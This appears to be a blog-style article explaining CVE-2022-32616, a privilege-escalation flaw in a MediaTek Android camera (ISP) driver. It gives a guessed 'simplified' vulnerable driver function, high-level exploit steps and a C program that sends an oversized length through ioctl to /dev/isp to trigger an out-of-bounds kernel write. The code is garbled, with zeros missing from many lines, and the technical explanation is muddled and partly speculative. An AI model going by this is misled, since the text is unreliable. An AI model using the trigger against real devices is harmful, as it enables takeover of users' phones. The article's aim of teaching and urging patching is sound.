In mid-2022, security researchers identified a critical vulnerability tracked as CVE-2022-32616. It affects the ISP (Image Signal Processor) driver found in various MediaTek-powered Android devices. This flaw allows a local attacker to escalate their privileges to the System level, without any user interaction.

If you're developing or maintaining Android devices with MediaTek chips—or simply want to deepen your understanding of real-world security flaws—this article is for you. We'll break down how CVE-2022-32616 works, walk through its exploit path, show some example code, and share essential links to official resources.

Issue ID: ALPS07341258

- References: MediaTek Security Bulletin, CVE Details

The Vulnerability in Plain Language

The ISP driver processes image data from cameras. In MediaTek’s implementation, a function allocates memory for input/output buffers. However, in certain cases, the driver doesn't properly initialize this memory.

When a user app (even unprivileged) sends special IOCTL calls to the ISP device, the driver copies data from user space—possibly using length values unchecked or not properly validated. This leads to a classic out-of-bounds write, where memory outside the expected region is overwritten.

Because the code runs with System (high) privileges, the attacker can corrupt system memory, potentially hijack code execution, and gain escalated control over the device.

A simplified version of what the vulnerable C code might look like in the driver

long isp_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
    struct isp_args *kargs;
    int ret = ;

    // Vulnerable: allocation for struct, but no full initialization
    kargs = kmalloc(sizeof(*kargs), GFP_KERNEL);
    if (!kargs)
        return -ENOMEM;

    // Vulnerable: copy_from_user does not check 'size' properly
    if (copy_from_user(kargs, (void __user *)arg, sizeof(*kargs))) {
        kfree(kargs);
        return -EFAULT;
    }

    // Assume kargs->buf_len comes directly from user
    if (kargs->buf_len > MAX_LEN) {
        kfree(kargs);
        return -EINVAL;
    }

    // Vulnerable: writing to buffer of limited size, using unchecked length
    memcpy(kargs->buffer, user_data, kargs->buf_len);

    // ... more processing ...

    kfree(kargs);
    return ret;
}

Uninitialized data (inside struct isp_args) combined with user-controlled buffer lengths make it easy for a crafted app to write past the intended boundaries.

Exploiting CVE-2022-32616

Since this is a local privilege escalation, an attacker needs to run code on the device (for instance, by getting a user to install a malicious app). No special permissions are needed; the ISP device node is accessible to regular apps in default MediaTek environments.

Exploit Steps: High-Level

1. Craft Malicious App: The app performs open and ioctl calls to /dev/isp (or similar).

Abuse IOCTL: The app sends specially-crafted input to trigger the out-of-bounds write.

3. Corrupt System Memory: By carefully choosing overflow data, the app can overwrite sensitive data—like function pointers, process credentials, or system hooks.
4. Gain Elevated Privilege: Hijack execution or escalate its process privileges to gain system access.

Here's how an attacker might begin exploiting this from user space in C

#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define DEVICE "/dev/isp"
#define CMD_ISP_IOCTL x100 // Example command

struct isp_args {
    char buffer[256];
    unsigned int buf_len;
    // other members...
};

int main() {
    int fd = open(DEVICE, O_RDWR);
    if (fd < ) {
        perror("open");
        return 1;
    }

    struct isp_args args;
    memset(&args, , sizeof(args));

    // Overly large length triggers OOB write
    args.buf_len = 512; 
    memset(args.buffer, 'A', sizeof(args.buffer));

    if (ioctl(fd, CMD_ISP_IOCTL, &args) < ) {
        perror("ioctl");
    }

    close(fd);
    return ;
}

Here, the buf_len supplied by the attacker exceeds the buffer in the struct, triggering the OOB write when the driver performs memcpy().

Device Takeover: Local attackers can execute arbitrary kernel code.

- Root/Full Control: System-level privileges can disable security mechanisms on the device.

Official References

- MediaTek Security Bulletin June 2022
- NIST NVD – CVE-2022-32616
- ALPS07341258 Patch (Requires vendor login)
- Android Security Bulletin

Conclusion

CVE-2022-32616 illustrates how a small oversight in kernel code can lead to full device compromise. If you’re in charge of device security or development, upgrading to patched drivers as soon as possible is crucial. This vulnerability highlights the ongoing need for strong, defensive programming practices in kernel and driver code.

If you want to learn more about how security researchers find these bugs, check out Project Zero’s kernel exploitation articles.

*Stay safe, and always keep your devices updated!*

Timeline

Published on: 11/08/2022 21:15:00 UTC
Last modified on: 08/08/2023 14:21:00 UTC